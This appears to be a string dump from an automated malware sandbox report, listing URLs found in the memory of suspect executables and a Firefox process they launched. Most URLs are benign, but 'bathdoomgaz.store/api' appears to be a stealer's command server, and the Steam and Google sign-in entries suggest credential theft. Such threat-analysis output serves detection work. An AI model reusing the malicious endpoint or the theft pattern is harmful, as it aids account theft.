Source: firefox.exe, 0000001A.00000002.3158695006.000001EE2DDEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3044F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE31439000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281572307.000001EE3219D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE30724000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE30654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE31103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE304DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3177054689.000001EE2EF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE32245000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE3141C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE30668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE3141C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE307B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001A.00000002.3281572307.000001EE321C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE32209000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3172048446.000001EE2E8FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30859000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3181214357.000001EE2F331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008261377.000001EE2F0C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008362892.000001EE2F0A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3089658099.000001EE30839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3174360577.000001EE2EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098010578.000001EE309B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3162815277.000001EE2E437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281572307.000001EE32161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30837000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3177527970.000001EE2F05F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE30903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3209902182.000001EE3050E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE3115F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3290309794.000001EE36746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001A.00000002.3123060726.00000051107D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Q
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3118685183.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3084450142.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105369249.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3084864515.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000002.3262576648.000001EE311A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063536981.000001EE2F9DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3240693610.000001EE30F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3238122305.000001EE30EA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063536981.000001EE2F991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3174360577.000001EE2EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE3118A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE3116B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3178571583.000001EE2F1A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F9DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3178571583.000001EE2F103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE301D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.3262576648.000001EE311A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-sitePe
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/syncedtabs/sid
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderSearc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498743096.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: 3cfbb3a6fb.exe, 0000000D.00000002.3026018954.0000000001050000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE30668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3136257996.000001EE202A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3302819914.0000057821204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE30134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 2ffb915ad7.exe, 0000000B.00000002.2843316263.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store/
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store/api
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api/a
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180unified-nav-back
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
